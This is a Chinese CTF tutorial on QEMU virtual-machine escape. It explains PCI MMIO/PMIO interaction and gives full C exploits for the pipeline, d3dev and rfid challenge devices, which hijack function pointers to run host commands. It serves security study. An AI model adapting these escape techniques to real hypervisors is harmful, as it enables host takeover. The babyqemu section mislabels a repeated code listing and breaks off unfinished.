QEMU逃逸系列
一:基础知识介绍
1.什么是qemu逃逸
qemu用于模拟设备运行,而qemu逃逸漏洞多发于模拟pci设备中,漏洞形成一般是修改qemu-system代码,所以漏洞存在于qemu-system文件内。而逃逸就是指利用漏洞从qemu-system模拟的这个小系统逃到主机内,从而在linux主机内达到命令执行的目的。
2.qemu中的地址
因为使用qemu-system模式启动之后相当于在linux内又运行了一个小型linux,所以存在两个地址转换问题;从用户虚拟地址到用户物理地址,从用户物理地址到qemu虚拟地址。
用户的物理内存实际上是qemu程序mmap出来的,看下面的launsh脚本,-m 1G也就是mmap一块1G的内存。
#!/bin/bash./qemu-system-x86_64 \ -m 1G \ -initrd ./rootfs.cpio \ -nographic \ -kernel ./vmlinuz-5.0.5-generic \ -L pc-bios/ \ -append "priority=low console=ttyS0" \ -monitor /dev/null \ -device pipeline
这块内存可以在qemu进程的maps文件下查看,sudo cat /proc/pid/maps
在64位系统内部,虚拟地址由页号和页内偏移组成,我们借用前人的代码来学习一下如何将虚拟地址转换成物理地址。
下面的程序申请了一个buffer,并写入字符串——“Where am I?”,之后打印他的物理地址。
#include #include #include #include #include #include #include #define PAGE_SHIFT 12#define PAGE_SIZE (1 << PAGE_SHIFT)#define PFN_PRESENT (1ull << 63)#define PFN_PFN ((1ull << 55) - 1) int fd;// 获取页内偏移uint32_t page_offset(uint32_t addr){ // addr & 0xfff return addr & ((1 << PAGE_SHIFT) - 1);} uint64_t gva_to_gfn(void *addr){ uint64_t pme, gfn; size_t offset; printf("pfn_item_offset : %p", (uintptr_t)addr >> 9); offset = ((uintptr_t)addr >> 9) & ~7; ////下面是网上其他人的代码,只是为了理解上面的代码 //一开始除以 0x1000 (getpagesize=0x1000,4k对齐,而且本来低12位就是页内索引,需要去掉),即除以2**12, 这就获取了页号了, //pagemap中一个地址64位,即8字节,也即sizeof(uint64_t),所以有了页号后,我们需要乘以8去找到对应的偏移从而获得对应的物理地址 //最终 vir/2^12 * 8 = (vir / 2^9) & ~7 //这跟上面的右移9正好对应,但是为什么要 & ~7 ,因为你 vir >> 12 << 3 , 跟vir >> 9 是有区别的,vir >> 12 << 3低3位肯定是0,所以通过& ~7将低3位置0 // int page_size=getpagesize(); // unsigned long vir_page_idx = vir/page_size; // unsigned long pfn_item_offset = vir_page_idx*sizeof(uint64_t); lseek(fd, offset, SEEK_SET); read(fd, &pme, 8); // 确保页面存在——page is present. if (!(pme & PFN_PRESENT)) return -1; // physical frame number gfn = pme & PFN_PFN; return gfn;} uint64_t gva_to_gpa(void *addr){ uint64_t gfn = gva_to_gfn(addr); assert(gfn != -1); return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);} int main(){ uint8_t *ptr; uint64_t ptr_mem; fd = open("/proc/self/pagemap", O_RDONLY); if (fd < 0) { perror("open"); exit(1); } ptr = malloc(256); strcpy(ptr, "Where am I?"); printf("%s", ptr); ptr_mem = gva_to_gpa(ptr); printf("Your physical address is at 0x%"PRIx64"", ptr_mem); getchar(); return 0;}
将其打包放到qemu系统内,然后进入qemu内部运行该c文件。再用gdb attach到qemu进程,查看mmap的内存。
找到qemu的基地址之后,用字符串的物理地址与基地址相加,即可得到虚拟地址。
3.PCI设备
PCI 设备都有一个 PCI 配置空间来配置 PCI 设备,其中包含了关于 PCI 设备的特定信息。这些信息一般只需要关注Device ID和Vendor ID即可。
拥有了这些信息即可在qemu系统内部使用lspci命令来找到该设备,从而能够进行交互。交互问题我们后面再细说。
4.交互
通过kernel提供的sysfs,我们可以直接映射出设备对应的内存,具体方法是打开类似 /sys/devices/pci0000:00/0000:00:04.0/resource0 的文件,并用mmap将其映射到进程的地址空间,就可以对其进行读写了。这里的设备号0000:00:04.0是需要事先在/proc/iomem中看好的。当映射完成后,就可以对这块内存进行读写操作了,内存读写会触发到qemu内设备的mmio处理函数(一般会叫xxxx_mmio_read/xxxx_mmio_write),传入的参数是写入的地址偏移和具体的值。后面会放出一个exp模板。
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);void * mmio = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
也可以通过使用/dev/mem文件来映射物理内存。
void * mmio = mmap(0,0x1000,PROT_READ|PROT_WRITE,MAP_SHARED,open("/dev/mem",2),0xfea00000); 物理内存可由# cat /sys/devices/pci0000\:00/0000\:00\:04.0/resource得到
(1)Memory Space类型(MMIO)
内存和 I/O 设备共享同一个地址空间。 MMIO 是应用得最为广泛的一种 I/O 方法,它使用相同的地址总线来处理内存和 I/O 设备,I/O 设备的内存和寄存器被映射到与之相关联的地址。当 CPU 访问某个内存地址时,它可能是物理内存,也可以是某个 I/O 设备的内存,用于访问内存的 CPU 指令也可来访问 I/O 设备。每个 I/O 设备监视 CPU 的地址总线,一旦 CPU 访问分配给它的地址,它就做出响应,将数据总线连接到需要访问的设备硬件寄存器。为了容纳 I/O 设备,CPU 必须预留给 I/O 一个地址区域,该地址区域不能给物理内存使用。
(2)I/O Space类型(PMIO)
在 PMIO 中,内存和 I/O 设备有各自的地址空间。 端口映射 I/O 通常使用一种特殊的 CPU 指令,专门执行 I/O 操作。在 Intel 的微处理器中,使用的指令是 IN 和 OUT。这些指令可以读/写 1,2,4 个字节(例如:outb, outw, outl)到 IO 设备上。I/O 设备有一个与内存不同的地址空间,为了实现地址空间的隔离,要么在 CPU 物理接口上增加一个 I/O 引脚,要么增加一条专用的 I/O 总线。由于 I/O 地址空间与内存地址空间是隔离的,所以有时将 PMIO 称为被隔离的 IO(Isolated I/O)。在linux中可以通过iopl和ioperm这两个系统调用对port的权能进行设置。
5.qemu中访问PCI设备的空间进行交互
(1)qemu中访问PCI设备的mmio空间
通过resource0来实现,需要根据需要来修改函数参数是uint64_t还是uint32_t亦或者是char。
#include #include #include #include #include #include #include #include #include #include #include #include #include #include char* mmio_mem; void mmio_write(uint64_t addr, char value) { *(char*)(mmio_mem + addr) = value;} uint64_t mmio_read(uint64_t addr) { return *((char *)(mmio_mem + addr));}int main(){ //init int fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0",O_RDWR | O_SYNC); if (fd == -1) { perror("mmio_fd open failed"); exit(-1); } mmio_mem = mmap(0,0x1000,PROT_READ | PROT_WRITE, MAP_SHARED,fd,0); if (mmio_mem == MAP_FAILED) { perror("mmap mmio_mem failed"); exit(-1); }} #include #include #include #include #include #include #include #include #include #include #include #include #include #include char* mmio_mem; void mmio_write(uint64_t addr, char value) { *(char*)(mmio_mem + addr) = value;} uint64_t mmio_read(uint64_t addr) { return *((char *)(mmio_mem + addr));}int main(){ //init mmio_mem = mmap(0,0x1000,PROT_READ | PROT_WRITE, MAP_SHARED,open("/dev/mem",2),0xfea00000); //0xfea00000是通过cat /sys/devices/pci0000\:00/0000\:00\:04.0/resource来获得//0x00000000fea00000 0x00000000feafffff 0x0000000000040200 if (mmio_mem == MAP_FAILED) { perror("mmap mmio_mem failed"); exit(-1); }}
(2)qemu中访问PCI设备的PMIO空间
#include #include #include #include #include #include #include #include #include #include #include #include #include #include char* mmio_mem;int pmio_base = 0xc040;void pmio_write(uint32_t addr, uint32_t value){ outl(value, pmio_base + addr);} uint64_t pmio_read(uint32_t addr){ return inl(pmio_base + addr);}int main(int argc, char *argv[]){ // Open and map I/O memory for the strng device if (iopl(3) !=0 ){ perror("I/O permission is not enough"); exit(-1); }}
mmap参数PROT_READ(1) | PROT_WRITE(2)可读写,MAP_SHARED共享的内存。
6.打包&调试
为了方便调试,我写了一个解压和压缩脚本,如下:
#!/bin/zshmkdir ./rootfscd ./rootfscpio -idmv < ../rootfs.cpio cp ../exp.c ./rootgcc -o ./root/exp -static ./root/exp.c find . | cpio -o --format=newc > ../rootfs.cpio cd ..rm -rf ./rootfs
该脚本的作用是将文件系统解压在新建的rootfs文件夹内,再将写好的exp.c放到解压的文件系统的root目录下,将其编译成可执行文件,再重打包回rootfs.cpio,最后删掉rootfs文件夹。
进行调试时,先进行打包操作,然后运行launch.sh文件,再起一个终端sudo gdb ./qemu-system-x86_64,使用attach附加到qemu-system进程之上。可以用ps -aux | grep qemu来获得进程号。
在gdb内下断点,就可以愉快的调试了。下面会有介绍。
在了解了以上的知识之后,就可以进行实操。
二:实例
1.pipeline
(1)逆向
先观察启动脚本launch.sh,先删掉timeout,否则超时就退出了。
#!/bin/bash./qemu-system-x86_64 \ -m 1G \ -initrd ./rootfs.cpio \ -nographic \ -kernel ./vmlinuz-5.0.5-generic \ -L pc-bios/ \ -append "priority=low console=ttyS0" \ -monitor /dev/null \ -device pipeline
由参数"-device pipeline"得我们所主要逆向的部分是在pipeline*,将qemu-system-x86_64放入ida,由于存在符号,所以直接在函数栏里搜pipeline。
漏洞一般存在于pmio_read,pmio_write,mmio_read,mmio_write这些对内存进行读写操作的函数内。
发现根本看不懂,都和opaque这个变量有关,这肯定是结构体,而结构体名字一般和函数名pipeline有相似,我们来转变一下,方法效果如下:
① pipeline_mmio_read函数
发现一个很重要的结构体贯穿四个读写函数;
逆向结果如下,总体就是从EncPipeLine或DecPipeLine内读取数据,没有越界读,最后return处有个"8",因为
EncPipeLine或DecPipeLine的data变量在偏移位4处,然后v4为结构体处-4。需要静心去逆。
② pipeline_mmio_write函数
与pipeline_mmio_read函数大同小异,漏洞并不在这里,功能是将val写入EncPipeLine或DecPipeLine内。
③ pipeline_pmio_read函数
addr为0返回idx,为4返回size。
④ pipeline_pmio_write函数
猜测漏洞就在这里了,因为巨长。
addr为0返回idx,addr是4写入size。
addr为12时,看到了encode,在pipeline_instance_init函数中发现,好像是base64加密的实现。并且会将加密后的数据放入DecPipeLine结构体内,同理addr为16时,就是解密,会将解密后的数据放入EncPipeLine结构体的data变量内。
以上就是函数基本功能。
(2)调试&漏洞
因为qemu类型的题目大部分都是越界读写的问题,所以我们把注意力着重放在size上。我把注释写到下面的代码内。
void __cdecl pipeline_pmio_write(PipeLineState *opaque, hwaddr addr, uint64_t val, unsigned int size){ unsigned int sizea; // [rsp+4h] [rbp-4Ch] unsigned int sizeb; // [rsp+4h] [rbp-4Ch] int pIdx; // [rsp+28h] [rbp-28h] int pIdxa; // [rsp+28h] [rbp-28h] int pIdxb; // [rsp+28h] [rbp-28h] int useSize; // [rsp+2Ch] [rbp-24h] int ret_s; // [rsp+34h] [rbp-1Ch] int ret_sa; // [rsp+34h] [rbp-1Ch] char *iData; // [rsp+40h] [rbp-10h] if ( size == 4 ) { if ( addr == 4 ) // addr = 4 { pIdx = opaque->pIdx; if ( pIdx <= 7 ) { if ( pIdx > 3 ) { if ( val <= 0x40 ) *&opaque->encPipe[1].data[0x44 * pIdx + 12] = val; } else if ( val <= 0x5C ) { opaque->encPipe[pIdx].size = val; } } } else if ( addr > 4 ) { if ( addr == 12 ) // addr = 12 { pIdxa = opaque->pIdx; if ( pIdxa <= 7 ) { if ( pIdxa <= 3 ) pIdxa += 4; //放入解密结构体内 sizea = *&opaque->encPipe[1].data[0x44 * pIdxa + 12]; // if ( sizea <= 0x40 && (4 * ((sizea + 2) / 3) + 1) <= 0x5C ) //对size进行判断,不存在溢出 { ret_s = opaque->encode( // encode &opaque->encPipe[1].data[0x44 * pIdxa + 16],// 加密 &opaque->mmio.size + 0x60 * pIdxa + 8, sizea); if ( ret_s != -1 ) *(&opaque->mmio.size + 24 * pIdxa + 1) = ret_s; } } } else if ( addr == 16 ) { pIdxb = opaque->pIdx; if ( pIdxb <= 7 ) { if ( pIdxb > 3 ) pIdxb -= 4; sizeb = opaque->encPipe[pIdxb].size; iData = opaque->encPipe[pIdxb].data; if ( sizeb <= 0x5C ) { if ( sizeb ) iData[sizeb] = 0; useSize = opaque->strlen(iData); if ( 3 * (useSize / 4) + 1 <= 64 ) // 84,85,86,87 { //可以看到decode的size参数是与strlen(iData)有关,即使上面的if判断限制了useSize,也可以使useSize是84-87四个数字。 ret_sa = opaque->decode(iData, opaque->decPipe[pIdxb].data, useSize);// 解密 if ( ret_sa != -1 ) opaque->decPipe[pIdxb].size = ret_sa; } } } } } else if ( !addr ) { opaque->pIdx = val; } }}
使用0xff进行base64编码作为测试数据,这样在解码后得到的溢出字符为0xff,如果后续溢出size,0xff为最大值:
>>> from pwn import *>>> b64e(b'\xff\xff\xff')'////'
下面测试漏洞会不会覆盖掉size位。
#include #include #include #include #include void * mmio;int port_base = 0xc040; void pmio_write(int port, int val){ outl(val, port_base + port); }void mmio_write(uint64_t addr, char value){ *(char *)(mmio + addr) = value;}int pmio_read(int port) { return inl(port_base + port); }char mmio_read(uint64_t addr){ return *(char *)(mmio + addr); } void write_io(int idx,int size,int offset, char * data){ pmio_write(0,idx); pmio_write(4,size); for(int i=0;i<strlen(data);i++) { mmio_write(i+offset,data[i]); }} int main(){ // init mmio and pmio iopl(3); int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC); mmio = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0); // write '/'*87 to block 2 char data[100]; memset(data,0,100); memset(data,'/',87); write_io(2,0x5c,0,data); // decode时将在encPipe[2]的数据解密后放到decPipe[2],若能溢出,则decPipe[3]的size位为0xff pmio_write(16,0); return 0;}
看效果
gdb attach之后,将断点下到pipeline_mmio_write,就可以愉快的c了。
执行pmio_write(16,0)之前:
执行pmio_write(16,0)之后,看到decPipe[3]的size被修改为了0xff,溢出达到,可以进行越界读写。
(3)利用
既然已经完成了size位的劫持,再通过mmio_read泄露encode函数地址,修改encode指针为system,再pima_write(12,0)即可命令执行。
#include #include #include #include #include #include #include #include #include #include #include #include #include #include char* mmio_mem;int pmio_base = 0xc040; void mmio_write(uint64_t addr, char value) { *(char*)(mmio_mem + addr) = value;} uint64_t mmio_read(uint64_t addr) { return *((char *)(mmio_mem + addr));} void pmio_write(uint32_t addr, uint32_t value){ outl(value, pmio_base + addr);} uint64_t pmio_read(uint32_t addr){ return inl(pmio_base + addr);} uint64_t write_io(int idx,int size,int addr,char* data){ pmio_write(0,idx); //get idx rsi,rdx pmio_write(4,size); // set size rsi,rdx for(int i=0;i<strlen(data);i++) { mmio_write(addr+i,data[i]); }} uint64_t read_io(int idx,int size,int addr,char* data){ pmio_write(0,idx); for(int i=0;i { data[i] = mmio_read(addr+i); }} int main(){ //init int fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0",O_RDWR | O_SYNC); mmio_mem = mmap(0,0x1000,PROT_READ | PROT_WRITE, MAP_SHARED,fd,0); iopl(3); //char dedata[] = "ZWVlZQ==";//"eHVhbnh1YW4="; //char data[100] = {0}; //write_io(2,0x5c,0,dedata); //idx,size,addr,data //pmio_write(16,0); // //read_io(6,4,0,data); //printf("[+] %s",data); char data[100] = {0}; memset(data,0,100); memset(data,'/',87); write_io(2,0x5c,0,data); ///////////////////// pmio_write(16,0); //decode ////////////////// char leak[16]; read_io(7,8,0x44,leak); ///////////// printf("[+] leak:0x%s",leak); //printf("[+] leak:0x%llx", leak); long long base = *((long long *)leak) - 0x3404F3; //- 0x3401BB; long long system = base + 0x2C0AD0; printf("[+] base:0x%llx",base); printf("[+] system:0x%llx",system); write_io(7,0x5c,0x44,&system); ////////////// char command[] = "cat flag"; write_io(4,0x3f,0,command); pmio_write(12,0); return 0;}
效果如下:
2.2021D3CTF d3dev
这题是D3CTF-2021,需要使用ubuntu20的环境进行操作,ubuntu18循环报错,ubuntu22没试过。第一题叙述较为详细,后面例题我便只分析漏洞处和整体代码。
该题目也是有mmio和pmio两种访存方式,可以套用上面的exp模板,然后分析代码。
(1)逆向
① d3dev_mmio_read函数
直接开幕雷击,看到了一堆什么异或之类的,问了下re师傅,是tea加密解密。一开始我是不知道这里是有越界读的,后面会分析道,那些异或是tea decode,我们获得的数据会经过decode,若我们想得到原始值,需要对其进行encode。
② d3dev_mmio_write函数
和read函数类似,若mmio_write_part为1,则对数据进行加密,若为0,则进行写入。
③ d3dev_pmio_read函数
很简单,获得opaque结构体的数据。
④ d3dev_pmio_write函数
addr为8时,对seek进行赋值;
addr为0x1c时,执行函数;
addr为4时,将key[]清0;
addr为0时,设置memory_mode。
void __fastcall d3dev_pmio_write(d3devState *opaque, hwaddr addr, uint64_t val, unsigned int size){ uint32_t *key; // rbp if ( addr == 8 ) { if ( val <= 0x100 ) opaque->seek = val; } else if ( addr > 8 ) { if ( addr == 0x1C ) { opaque->r_seed = val; key = opaque->key; do *key++ = (opaque->rand_r)(&opaque->r_seed, 0x1CLL, val, *&size); while ( key != &opaque->rand_r ); } } else if ( addr ) { if ( addr == 4 ) { *opaque->key = 0LL; *&opaque->key[2] = 0LL; } } else { opaque->memory_mode = val; }}
(2)漏洞
由d3dev_pmio_write函数得知可为opaque->seek赋值为0x100,blocks有0x800字节,d3dev_mmio_read内的data = opaque->blocks[opaque->seek + (addr >> 3)],此处的blocks是通过index的方式进行访存,而blocks又是dq的数据(8 bytes),所以seek的0x100可以访问到的内存就是0-0x800,而通过addr进行越界读。
d3dev_mmio_write也是如此,可以越界写,我们就有了任意读写d3devState这个结构体附近的内存的"权利"。
在pmio_write里有执行system的机会,将opaque->rand_r覆盖为system,opaque->r_seed覆盖为"/bin/sh"。
(3)利用
#include #include #include #include #include #include unsigned char* mmio_mem;void setup_mmio() { int mmio_fd = open("/sys/devices/pci0000:00/0000:00:03.0/resource0", O_RDWR | O_SYNC); mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);} void mmio_write(uint32_t addr,uint32_t val){ *((uint32_t*)(addr+mmio_mem)) = val;} uint64_t mmio_read(uint64_t addr){ return *((uint64_t*)(addr+mmio_mem));} uint32_t pmio_base = 0xc040;void setup_pmio() { iopl(3); // 0x3ff 以上端口全部开启访问} uint64_t pmio_read(uint64_t addr){ return (uint64_t)inl(pmio_base + addr);} uint64_t pmio_write(uint64_t addr,uint64_t val){ outl(val,addr+pmio_base);} //因为key=0,所以直接省略掉key进行写加密解密函数。注意exp内的en实际对应的是deuint64_t en(uint32_t high,uint32_t low){ uint32_t sum = 0xC6EF3720; uint32_t delta = 0x9E3779b9; for(int i=0;i<32;i++){ high -= (low*16) ^ (low+sum) ^ (low>>5); low -= (high*16) ^ (high+sum) ^ (high>>5); //sum -= delta; sum += 0x61C88647; } return (uint64_t)high * 0x100000000 + low;} uint64_t de(uint32_t high,uint32_t low){ uint32_t sum=0; uint32_t delta = 0x9E3779b9; for(int i=0;i<32;i++){ //sum += delta; sum -= 0x61C88647; low += (high*16) ^ (high+sum) ^ (high>>5); high += (low*16) ^ (low+sum) ^ (low>>5); } return (uint64_t)high * 0x100000000 + low;} int main(){ printf("begin!!!!!"); setup_mmio(); setup_pmio(); pmio_write(8,0x100); //opaque->seek=0x100 pmio_write(4,0); //key[0-3]=0 //0x103 uint64_t rand_r = mmio_read(24); //decode printf("region rand_r:0x%lx",rand_r); uint64_t randr = de(rand_r/0x100000000,rand_r%0x100000000); printf("encode randr:0x%lx",randr); uint64_t system = randr + 0xa560; printf("system:0x%lx", system); uint64_t encode_system = en(system / 0x100000000, system % 0x100000000); printf("encode system:0x%lx", encode_system); uint32_t low_sys = encode_system%0x100000000; uint32_t high_sys = encode_system/0x100000000; mmio_write(24,low_sys); //只能4字节4字节的写入 sleep(1); mmio_write(24,high_sys); pmio_write(8,0); mmio_write(0,0x67616c66); //blocks: flag pmio_write(0x1c,0x20746163); //r_seed: cat return 0;}
3.2019数字经济众测qemu
(1)题目分析
首先查看launch.sh脚本。
#! /bin/zsh./qemu-system-x86_64 \-initrd ./initramfs.cpio \-kernel ./vmlinuz-4.8.0-52-generic \-append 'console=ttyS0 root=/dev/ram oops=panic panic=1' \-monitor /dev/null \-m 64M --nographic \-L pc-bios \-device rfid,id=vda \
设备是rfid,去ida内函数栏搜索rfid,并没有找到,是去掉符号表。
这题没有符号表,所以不能在函数栏内搜索,换一个思路去搜索字符串rfid来寻找相应函数。
下面的便是rfid_class_init。
想要找到mmio或者pmio对应的write/read函数,需要定位到 xxxxxxx_realize函数,例如d3dev这题,定位到了pci_d3dev_realize函数,发现&d3dev_mmio_ops和&d3dev_pmio_ops,跟进去发现有实现方法。而pci_d3dev_realize在d3dev_class_init内引用。
由以上分析可得,sub_5713A8函数内的sub_571043为realize函数。
点进去off_FE9720,发现了mmio的实现。
(2)逆向
① sub_570C63
比对字符串,然后执行命令,漏洞肯定在另一个函数内了,看到这里应该就有了具体思路,劫持byte_122FFE0为"wwssadadBABA",复写command变量即可。
② sub_570CEB
write函数相当于一个菜单,以((addr >> 20) & 0xF)作为菜单选项,将字符传递于byte_122FFE0,当result为6时,将val赋值给command.由于存在移位等问题,exp的mmio_write/mmio_read函数的实现需要变化一下。
_BYTE *__fastcall sub_570CEB(__int64 opaque, unsigned __int64 addr, __int64 val, unsigned int size){ _BYTE *result; // rax _DWORD n[3]; // [rsp+4h] [rbp-3Ch] BYREF unsigned __int64 v6; // [rsp+10h] [rbp-30h] __int64 v7; // [rsp+18h] [rbp-28h] int v8; // [rsp+2Ch] [rbp-14h] int idx; // [rsp+30h] [rbp-10h] int v10; // [rsp+34h] [rbp-Ch] __int64 v11; // [rsp+38h] [rbp-8h] v7 = opaque; v6 = addr; *&n[1] = val; v11 = opaque; v8 = (addr >> 20) & 0xF; idx = (addr >> 16) & 0xF; result = ((addr >> 20) & 0xF); switch ( result ) { case 0uLL: result = byte_122FFE0; byte_122FFE0[idx] = 'w'; break; case 1uLL: result = byte_122FFE0; byte_122FFE0[idx] = 's'; break; case 2uLL: result = byte_122FFE0; byte_122FFE0[idx] = 'a'; break; case 3uLL: result = byte_122FFE0; byte_122FFE0[idx] = 'd'; break; case 4uLL: result = byte_122FFE0; byte_122FFE0[idx] = 'A'; break; case 5uLL: result = byte_122FFE0; byte_122FFE0[idx] = 'B'; break; case 6uLL: v10 = v6; result = memcpy(&command[v6], &n[1], size); break; default: return result; } return result;}
(3)调试
本题没有符号表,为调试增加了比较大的困难,但是由于题目比较简单,不调试也可以做出来,为了进行学习,我来尝试一下调试。应该就和普通的pwn题一样调试,用b *$rebase(addr)下断点。
测试环境ubuntu20可以,ubnutu18不行。
下好了断点,c执行,然后运行exp,便可以愉快的观察程序运行。
(4)利用
#include #include #include #include #include #include #include #include #include #include unsigned char* mmiobase;//wwssadadBABAvoid mmio_write(uint64_t addr,uint64_t val){ *(uint64_t *)(mmiobase + addr) = val;} int main(){ mmiobase = mmap(0,0x1000000,PROT_READ | PROT_WRITE, MAP_SHARED, open("/dev/mem",2),0xfb000000); //str idx mmio_write(0x000000,0); //w , 0 mmio_write(0x010000,0); //w , 1 mmio_write(0x120000,0); //s , 2 mmio_write(0x130000,0); //s , 3 mmio_write(0x240000,0); //a , 4 mmio_write(0x350000,0); //d , 5 mmio_write(0x260000,0); //a , 6 mmio_write(0x370000,0); //d , 7 mmio_write(0x580000,0); //B , 8 mmio_write(0x490000,0); //A , 9 mmio_write(0x5a0000,0); //B , a mmio_write(0x4b0000,0); //A , b char cmd[0x20] = "cat flag"; mmio_write(0x600000,*(uint64_t *)(&cmd[0])); return *(int *)mmiobase;}
效果如图:
4.2017HITB babyqemu
(1)题目分析
直接扔ida,有符号✌️,搜索一下只发现了mmio_read/mmio_write,然后恢复一下结构体;
查看一下主要操作的结构体:
(2)逆向
① hitb_mmio_read函数
返回各个结构体内的数据,不存在漏洞。
uint64_t __fastcall hitb_mmio_read(HitbState *opaque, hwaddr addr, unsigned int size){ uint64_t result; // rax uint64_t val; // [rsp+0h] [rbp-20h] result = -1LL; if ( size == 4 ) { if ( addr == 128 ) return opaque->dma.src; if ( addr > 128 ) { if ( addr == 140 ) return *(&opaque->dma.dst + 4); if ( addr <= 140 ) { if ( addr == 132 ) return *(&opaque->dma.src + 4); if ( addr == 136 ) return opaque->dma.dst; } else { if ( addr == 144 ) return opaque->dma.cnt; if ( addr == 152 ) return opaque->dma.cmd; } } else { if ( addr == 8 ) { qemu_mutex_lock(&opaque->thr_mutex); val = opaque->fact; qemu_mutex_unlock(&opaque->thr_mutex); return val; } if ( addr <= 8 ) { result = 0x10000EDLL; if ( !addr ) return result; if ( addr == 4 ) return opaque->addr4; } else { if ( addr == 0x20 ) return opaque->status; if ( addr == 0x24 ) return opaque->irq_status; } } return -1LL; } return result;}
② hitb_mmio_write函数
正常对HitbState字段写入,但是有一个函数调用很可疑timer_mod(&opaque->dma_timer, ns / 1000000 + 100);
void __fastcall hitb_mmio_write(HitbState *opaque, hwaddr addr, uint64_t val, unsigned int size){ uint32_t v4; // r13d int v5; // edx bool v6; // zf int64_t ns; // rax if ( (addr > 0x7F || size == 4) && (((size - 4) & 0xFFFFFFFB) == 0 || addr <= 0x7F) ) { if ( addr == 128 ) { if ( (opaque->dma.cmd & 1) == 0 ) opaque->dma.src = val; } else { v4 = val; if ( addr > 128 ) { if ( addr == 140 ) { if ( (opaque->dma.cmd & 1) == 0 ) *(&opaque->dma.dst + 4) = val; } else if ( addr > 140 ) { if ( addr == 144 ) { if ( (opaque->dma.cmd & 1) == 0 ) opaque->dma.cnt = val; } else if ( addr == 152 && (val & 1) != 0 && (opaque->dma.cmd & 1) == 0 ) { opaque->dma.cmd = val; ns = qemu_clock_get_ns(QEMU_CLOCK_VIRTUAL_0); timer_mod(&opaque->dma_timer, ns / 1000000 + 100); } } else if ( addr == 132 ) { if ( (opaque->dma.cmd & 1) == 0 ) *(&opaque->dma.src + 4) = val; } else if ( addr == 136 && (opaque->dma.cmd & 1) == 0 ) { opaque->dma.dst = val; } } else if ( addr == 32 ) { if ( (val & 0x80) != 0 ) _InterlockedOr(&opaque->status, 0x80u); else _InterlockedAnd(&opaque->status, 0xFFFFFF7F); } else if ( addr > 0x20 ) { if ( addr == 96 ) { v6 = (val | opaque->irq_status) == 0; opaque->irq_status |= val; if ( !v6 ) hitb_raise_irq(opaque, 0x60u); } else if ( addr == 100 ) { v5 = ~val; v6 = (v5 & opaque->irq_status) == 0; opaque->irq_status &= v5; if ( v6 && !msi_enabled(&opaque->pdev) ) pci_set_irq(&opaque->pdev, 0); } } else if ( addr == 4 ) { opaque->addr4 = ~val; } else if ( addr == 8 && (opaque->status & 1) == 0 ) { qemu_mutex_lock(&opaque->thr_mutex); opaque->fact = v4; _InterlockedOr(&opaque->status, 1u); qemu_cond_signal(&opaque->thr_cond); qemu_mutex_unlock(&opaque->thr_mutex); } } }}
③ hitb_dma_timer函数
在hitb_mmio_write内调用了timer_mod,qemu_clock_get_ns获取时钟的纳秒值,timer_mod修改dma_timer的expire_time,这样应该可以触发hitb_dma_timer的调用。
函数根据cmd来选择不同分支,cmd最低位必须为1;
当dma.cmd为2|1时,会将dma.src减0x40000作为索引i,然后将数据从dma_buf[i]拷贝利用函数cpu_physical_memory_rw拷贝至物理地址dma.dst中,拷贝长度为dma.cnt。
当dma.cmd为4|2|1时,会将dma.dst减0x40000作为索引i,然后将起始地址为dma_buf[i],长度为dma.cnt的数据利用利用opaque->enc函数加密后,再调用函数cpu_physical_memory_rw拷贝至物理地址opaque->dma.dst中。
当dma.cmd为0|1时,调用cpu_physical_memory_rw将物理地址中为dma.dst,长度为dma.cnt,拷贝到dma.dst减0x40000作为索引i,目标地址为dma_buf[i]的空间中。
void __fastcall hitb_mmio_write(HitbState *opaque, hwaddr addr, uint64_t val, unsigned int size){ uint32_t v4; // r13d int v5; // edx bool v6; // zf int64_t ns; // rax if ( (addr > 0x7F || size == 4) && (((size - 4) & 0xFFFFFFFB) == 0 || addr <= 0x7F) ) { if ( addr == 128 ) { if ( (opaque->dma.cmd & 1) == 0 ) opaque->dma.src = val; } else { v4 = val; if ( addr > 128 ) { if ( addr == 140 ) { if ( (opaque->dma.cmd & 1) == 0 ) *(&opaque->dma.dst + 4) = val; } else if ( addr > 140 ) { if ( addr == 144 ) { if ( (opaque->dma.cmd & 1) == 0 ) opaque->dma.cnt = val; } else if ( addr == 152 && (val & 1) != 0 && (opaque->dma.cmd & 1) == 0 ) { opaque->dma.cmd = val; ns = qemu_clock_get_ns(QEMU_CLOCK_VIRTUAL_0); timer_mod(&opaque->dma_timer, ns / 1000000 + 100); } } else if ( addr == 132 ) { if ( (opaque->dma.cmd & 1) == 0 ) *(&opaque->dma.src + 4) = val; } else if ( addr == 136 && (opaque->dma.cmd & 1) == 0 ) { opaque->dma.dst = val; } } else if ( addr == 32 ) { if ( (val & 0x80) != 0 ) _InterlockedOr(&opaque->status, 0x80u); else _InterlockedAnd(&opaque->status, 0xFFFFFF7F); } else if ( addr > 0x20 ) { if ( addr == 96 ) { v6 = (val | opaque->irq_status) == 0; opaque->irq_status |= val; if ( !v6 ) hitb_raise_irq(opaque, 0x60u); } else if ( addr == 100 ) { v5 = ~val; v6 = (v5 & opaque->irq_status) == 0; opaque->irq_status &= v5; if ( v6 && !msi_enabled(&opaque->pdev) ) pci_set_irq(&opaque->pdev, 0); } } else if ( addr == 4 ) { opaque->addr4 = ~val; } else if ( addr == 8 && (opaque->status & 1) == 0 ) { qemu_mutex_lock(&opaque->thr_mutex); opaque->fact = v4; _InterlockedOr(&opaque->status, 1u); qemu_cond_signal(&opaque->thr_cond); qemu_mutex_unlock(&opaque->thr_mutex); } } }}
(3)漏洞
漏洞在hitb_dma_timer内的cpu_physical_memory_rw函数,dma_buf[]内的索引可控,就造成可以越界读写。
翻看前面的结构体发现,可以越界读enc地址,进行泄露,再将计算出的system@plt写入enc内,将"cat flag"写入dma.buf。
